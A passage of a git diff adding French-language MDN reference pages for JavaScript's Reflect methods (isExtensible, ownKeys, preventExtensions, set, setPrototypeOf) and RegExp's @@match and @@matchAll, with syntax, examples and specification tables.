+   <td>Retrait de <code>Reflect.enumerate</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Reflect")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'objet global {{jsxref("Proxy")}}.</li>
+ <li>L'objet {{jsxref("Proxy.handler", "handler")}}.</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/isextensible/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/isextensible/index.html
new file mode 100644
index 0000000000..bdb266575c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/reflect/isextensible/index.html
@@ -0,0 +1,113 @@
+---
+title: Reflect.isExtensible()
+slug: Web/JavaScript/Reference/Objets_globaux/Reflect/isExtensible
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/isExtensible
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Reflect.isExtensible()</strong></code> permet de déterminer si un objet est extensible (i.e. si on peut lui ajouter de nouvelles propriétés). Elle est semblable à la méthode {{jsxref("Object.isExtensible()")}} (modulo <a href="#diffs">quelques différences</a>).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-isextensible.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Reflect.isExtensible(<var>cible</var>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible dont on souhaite savoir s'il est extensible.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un {{jsxref("Boolean","booléen", "",1)}} qui indique si la cible est extensible ou non.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Une erreur {{jsxref("TypeError")}} si <code>cible</code> n'est pas un {{jsxref("Object")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>Reflect.isExtensible</code> permet de déterminer si un objet est extensible (autrement dit si on peut lui ajouter de nouvelles propriétés). Cette méthode est semblable à la méthode {{jsxref("Object.isExtensible()")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Reflect.isExtensible()">Utiliser <code>Reflect.isExtensible()</code></h3>
+
+<p>Voir aussi {{jsxref("Object.isExtensible()")}}.</p>
+
+<pre class="brush: js">// Les nouveaux objets sont extensibles.
+var vide = {};
+Reflect.isExtensible(vide); // true
+
+// ...mais ça peut être changé.
+Reflect.preventExtensions(vide);
+Reflect.isExtensible(vide); // false
+
+// Par définition, les objets scellés
+// ne sont pas extensibles.
+var scellé = Object.seal({});
+Reflect.isExtensible(scellé); // false
+
+// Par définition, les objets gelés sont
+// également non-extensibles.
+var gelé = Object.freeze({});
+Reflect.isExtensible(gelé); // false
+</pre>
+
+<h3 id="Différence_avec_Object.isExtensible()">Différence avec <code>Object.isExtensible()</code></h3>
+
+<p>Si le premier argument passé à la méthode n'est pas un objet (autrement dit si la valeur est une valeur primitive), cela provoquera une exception {{jsxref("TypeError")}}. La méthode {{jsxref("Object.isExtensible()")}} aurait commencé par convertir l'argument en un objet.</p>
+
+<pre class="brush: js">Reflect.isExtensible(1);
+// TypeError: 1 is not an object
+
+Object.isExtensible(1);
+// false
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.isextensible', 'Reflect.isExtensible')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.isextensible', 'Reflect.isExtensible')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Reflect.isExtensible")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/ownkeys/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/ownkeys/index.html
new file mode 100644
index 0000000000..9372830b80
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/reflect/ownkeys/index.html
@@ -0,0 +1,95 @@
+---
+title: Reflect.ownKeys()
+slug: Web/JavaScript/Reference/Objets_globaux/Reflect/ownKeys
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys
+---
+<p>{{JSRef}}</p>
+
+<p>La méthode statique <strong><code>Reflect.ownKeys()</code></strong> renvoie un tableau qui contient les clés des propriétés propres (non héritées) de l'objet  <code>cible</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-ownkeys.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Reflect.ownKeys(<var>cible</var>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible dont on souhaite obtenir les noms et symboles des propriétés propres.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{jsxref("Array")}} qui contient les clés des propriétés propres de <code>cible</code>.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Une erreur {{jsxref("TypeError")}} si <code>cible</code> n'est pas un {{jsxref("Object")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>Reflect.ownKeys</code> renvoie un tableau dont les éléments sont les clés des propriétés propres de l'objet <code>cible</code>. Sa valeur de retour est équivalente à <code>{{jsxref("Object.getOwnPropertyNames", "Object.getOwnPropertyNames(target)", "", 1)}}.concat({{jsxref("Object.getOwnPropertySymbols", "Object.getOwnPropertySymbols(target)", "", 1)}})</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>Reflect.ownKeys({z: 3, y: 2, x: 1}); // [ "z", "y", "x" ]
+Reflect.ownKeys([]); // ["length"]
+
+var sym = Symbol.for("comète");
+var sym2 = Symbol.for("météore");
+var obj = {[sym]: 0, "str1": 0, "773": 0, "0": 0,
+           [sym2]: 0, "-1": 0, "8": 0, "seconde str": 0};
+Reflect.ownKeys(obj);
+// [ "0", "8", "773", "str1", "-1", "seconde str", Symbol(comète), Symbol(météore) ]
+// Indices dans l'ordre numérique
+// Chaînes de caractères dans l'ordre d'insertion
+// Symboles dans l'ordre d'insertion
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.ownkeys', 'Reflect.ownKeys')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.ownkeys', 'Reflect.ownKeys')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">
+<p>Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Reflect.ownKeys")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/preventextensions/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/preventextensions/index.html
new file mode 100644
index 0000000000..c7f202f685
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/reflect/preventextensions/index.html
@@ -0,0 +1,103 @@
+---
+title: Reflect.preventExtensions()
+slug: Web/JavaScript/Reference/Objets_globaux/Reflect/preventExtensions
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/preventExtensions
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Reflect.preventExtensions()</strong></code> permet d'empêcher d'ajouter de nouvelles propriétés à un objet. Cette méthode est semblable à la méthode {{jsxref("Object.preventExtensions()")}} (modulo <a href="#diffs">quelques différences</a>).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-preventextensions.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Reflect.preventExtensions(<em>cible</em>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible dont on veut empêcher l'ajout d'autres propriétés.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un {{jsxref("Boolean","booléen","",1)}} qui indique si l'interdiction a bien été mise en place sur l'objet cible.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Une erreur {{jsxref("TypeError")}} si <code>cible</code> n'est pas un {{jsxref("Object")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>Reflect.preventExtensions</code> permet d'empêcher l'ajout de nouvelles propriétés sur un objet. Cette méthode est semblable à {{jsxref("Object.preventExtensions()")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Reflect.preventExtensions()">Utiliser <code>Reflect.preventExtensions()</code></h3>
+
+<p>Voir aussi {{jsxref("Object.preventExtensions()")}}.</p>
+
+<pre class="brush: js">// Par défaut les objets sont extensibles
+var vide = {};
+Reflect.isExtensible(vide); // === true
+
+// ...mais cela peut être modifié
+Reflect.preventExtensions(vide);
+Reflect.isExtensible(vide); // === false
+</pre>
+
+<h3 id="Différences_avec_Object.preventExtensions()">Différences avec <code>Object.preventExtensions()</code></h3>
+
+<p>Si le premier argument de cette méthode n'est pas un objet (autrement dit c'est une valeur primitive), cela provoquera une {{jsxref("TypeError")}}. {{jsxref("Object.preventExtensions()")}}, quant à elle, convertira l'argument passé en un objet.</p>
+
+<pre class="brush: js">Reflect.preventExtensions(1);
+// TypeError: 1 is not an object
+
+Object.preventExtensions(1);
+// 1
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.preventextensions', 'Reflect.preventExtensions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.preventextensions', 'Reflect.preventExtensions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Reflect.preventExtensions")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/set/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/set/index.html
new file mode 100644
index 0000000000..8d37acc413
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/reflect/set/index.html
@@ -0,0 +1,109 @@
+---
+title: Reflect.set()
+slug: Web/JavaScript/Reference/Objets_globaux/Reflect/set
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/set
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Reflect.set()</strong></code> permet de définir ou de modifier une propriété sur un objet.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-set.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Reflect.set(<var>cible</var>, <var>cléPropriété</var>, <var>valeur</var>[, <var>récepteur</var>])
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible sur lequel on veut définir ou modifier la propriété.</dd>
+ <dt><code>cléPropriété</code></dt>
+ <dd>Le nom de la propriété à définir ou à modifier.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur pour la propriété.</dd>
+ <dt><code>récepteur</code>{{optional_inline}}</dt>
+ <dd>La valeur de <code>this</code> pour l'appel à <code>cible</code> si un mutateur (<em>setter</em>) est utilisé.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un {{jsxref("Boolean","booléen","",1)}} qui indique si la définition/modification de la propriété a réussi.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Une erreur {{jsxref("TypeError")}} si <code>cible</code> n'est pas un {{jsxref("Object")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>Reflect.set</code> permet de définir une propriété sur un objet. Elle effectue une affectation de propriété et est semblable à la syntaxe pour <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres">accéder à un propriété</a> mais sous la forme d'une fonction.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Reflect.set()">Utiliser <code>Reflect.set()</code></h3>
+
+<pre class="brush: js">// Object
+var obj = {};
+Reflect.set(obj, "prop", "value"); // true
+obj.prop; // "value"
+
+// Array
+var arr = ["canard", "canard", "canard"];
+Reflect.set(arr, 2, "oie"); // true
+arr[2]; // "oie"
+
+// On peut l'utiliser pour tronquer un tableau
+Reflect.set(arr, "length", 1); // true
+arr; // ["canard"];
+
+// Avec un seul argument
+// cléPropriété et valeur valent "undefined".
+var obj = {};
+Reflect.set(obj); // true
+Reflect.getOwnPropertyDescriptor(obj, "undefined");
+// { value: undefined, writable: true, enumerable: true, configurable: true }
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.set', 'Reflect.set')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.set', 'Reflect.set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Reflect.set")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres">Accesseurs de propriété</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/setprototypeof/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/setprototypeof/index.html
new file mode 100644
index 0000000000..8d267952c0
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/reflect/setprototypeof/index.html
@@ -0,0 +1,100 @@
+---
+title: Reflect.setPrototypeOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Reflect/setPrototypeOf
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/setPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<p>la méthode statique <code><strong>Reflect.setPrototypeOf()</strong></code> est semblable à la méthode {{jsxref("Object.setPrototypeOf()")}} (exception faite de la valeur de retour). Elle permet de définir le prototype (c'est-à-dire la propriété interne <code>[[Prototype]]</code>) d'un objet donné avec un autre objet ou {{jsxref("null")}}. Cette méthode renvoie <code>true</code> si l'opération a réussi et <code>false</code> sinon.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-setprototypeof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Reflect.setPrototypeOf(<var>cible</var>, <var>prototype</var>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible dont on souhaite modifier le prototype.</dd>
+ <dt><code>prototype</code></dt>
+ <dd>Le nouveau prototype à appliquer à l'objet cible (ça peut être un objet ou {{jsxref("null")}}).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un {{jsxref("Boolean","booléen","",1)}} qui indique si le prototype a correctement été modifié.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Une erreur {{jsxref("TypeError")}} si <code>cible</code> n'est pas un {{jsxref("Object")}} ou si <code>prototype</code> n'est ni un objet ni {{jsxref("null")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>Reflect.setPrototypeOf</code> permet de modifier le prototype (qui est la valeur de la propriété interne <code>[[Prototype]]</code>) d'un objet donné.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Reflect.setPrototypeOf()">Utiliser <code>Reflect.setPrototypeOf()</code></h3>
+
+<pre class="brush: js">Reflect.setPrototypeOf({}, Object.prototype); // true
+
+// On peut modifier le [[Prototype]] d'un objet
+// pour que celui-ci soit null.
+Reflect.setPrototypeOf({}, null); // true
+
+// La méthode renvoie false si la cible
+// n'est pas extensible.
+Reflect.setPrototypeOf(Object.freeze({}), null); // false
+
+// La méthode renvoie false si l'affectation
+// entraîne un cycle dans la chaîne de prototypes.
+var target = {};
+var proto = Object.create(target);
+Reflect.setPrototypeOf(target, proto); // false
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.setprototypeof', 'Reflect.setPrototypeOf')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.setprototypeof', 'Reflect.setPrototypeOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Reflect.setPrototypeOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/@@match/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/@@match/index.html
new file mode 100644
index 0000000000..7adea1beff
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/@@match/index.html
@@ -0,0 +1,119 @@
+---
+title: 'RegExp.prototype[@@match]()'
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@match
+tags:
+  - Expressions rationnelles
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@match
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>[@@match]()</code></strong> permet de récupérer les correspondances obtenues lorsqu'on teste une chaîne de caractères par rapport à une expression rationnelle (<em>regexp</em>).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-@@match.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>regexp</var>[Symbol.match](str)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>La chaîne de caractères ({{jsxref("String")}}) sur laquelle on veut chercher des correspondances.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau ({{jsxref("Array")}}) qui contient les résultats des correspondances et les groupes capturés grâce aux parenthèse. S'il n'y a aucune correspondance, ce sera {{jsxref("null")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode est appelée de façon interne lorsqu'on utilise {{jsxref("String.prototype.match()")}}. Ainsi, les deux exemples qui suivent sont équivalents et le second est la version interne du premier :</p>
+
+<pre class="brush: js">'abc'.match(/a/);
+
+/a/[Symbol.match]('abc');</pre>
+
+<p>Cette méthode existe afin de permettre d'adapter le comportement de la recherche des correspondances pour les sous-classes de <code>RegExp</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Appel_direct">Appel direct</h3>
+
+<p>Cette méthode peut être utilisée comme {{jsxref("String.prototype.match()")}} mais avec un objet <code>this</code> différent et un ordre des paramètres également différent.</p>
+
+<pre class="brush: js">var re = /[0-9]+/g;
+var str = '2016-01-02';
+var résultat = re[Symbol.match](str);
+console.log(résultat);  // ["2016", "01", "02"]
+</pre>
+
+<h3 id="Utilisation_de_match_avec_une_sous-classe">Utilisation de <code>@@match</code> avec une sous-classe</h3>
+
+<p>Les sous-classes de {{jsxref("RegExp")}} peuvent surcharger la méthode <code>[@@match]()</code> afin de modifier le comportement.</p>
+
+<pre class="brush: js">class MaRegExp extends RegExp {
+  [Symbol.match](str) {
+    var résultat = RegExp.prototype[Symbol.match].call(this, str);
+    if (!résultat) return null;
+    return {
+      group(n) {
+        return résultat[n];
+      }
+    };
+  }
+}
+
+var re = new MaRegExp('([0-9]+)-([0-9]+)-([0-9]+)');
+var str = '2016-01-02';
+var résultat = str.match(re); // String.prototype.match appelle re[@@match].
+console.log(résultat.group(1)); // 2016
+console.log(résultat.group(2)); // 01
+console.log(résultat.group(3)); // 02
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype-@@match', 'RegExp.prototype[@@match]')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp.prototype-@@match', 'RegExp.prototype[@@match]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.@@match")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/@@matchall/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/@@matchall/index.html
new file mode 100644
index 0000000000..82fcef5aa6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/@@matchall/index.html
@@ -0,0 +1,109 @@
+---
+title: 'RegExp.prototype[@@matchAll]()'
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@matchAll
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@matchAll
+---
+<p>{{JSRef}}</p>
+
+<p>La méthode <strong><code>[@@matchAll]</code></strong> renvoie l'ensemble des correspondances d'une expression rationnelle sur une chaîne de caractères.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-@@matchall.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>regexp</var>[Symbol.matchAll](<var>str</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>Une chaîne de caractères ({{jsxref("String")}}) dont on souhaite trouver les correspondances.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un <a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs">itérateur</a>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode est appelée, en interne, par le moteur JavaScript, pendant l'exécution {{jsxref("String.prototype.matchAll()")}}. Les deux lignes qui suivent renverront donc le même résultat.</p>
+
+<pre class="brush: js">'abc'.matchAll(/a/);
+
+/a/[Symbol.matchAll]('abc');</pre>
+
+<p>Cette méthode existe afin de personnaliser le comportement des correspondances pour les sous-classes de <code>RegExp</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Appel_direct">Appel direct</h3>
+
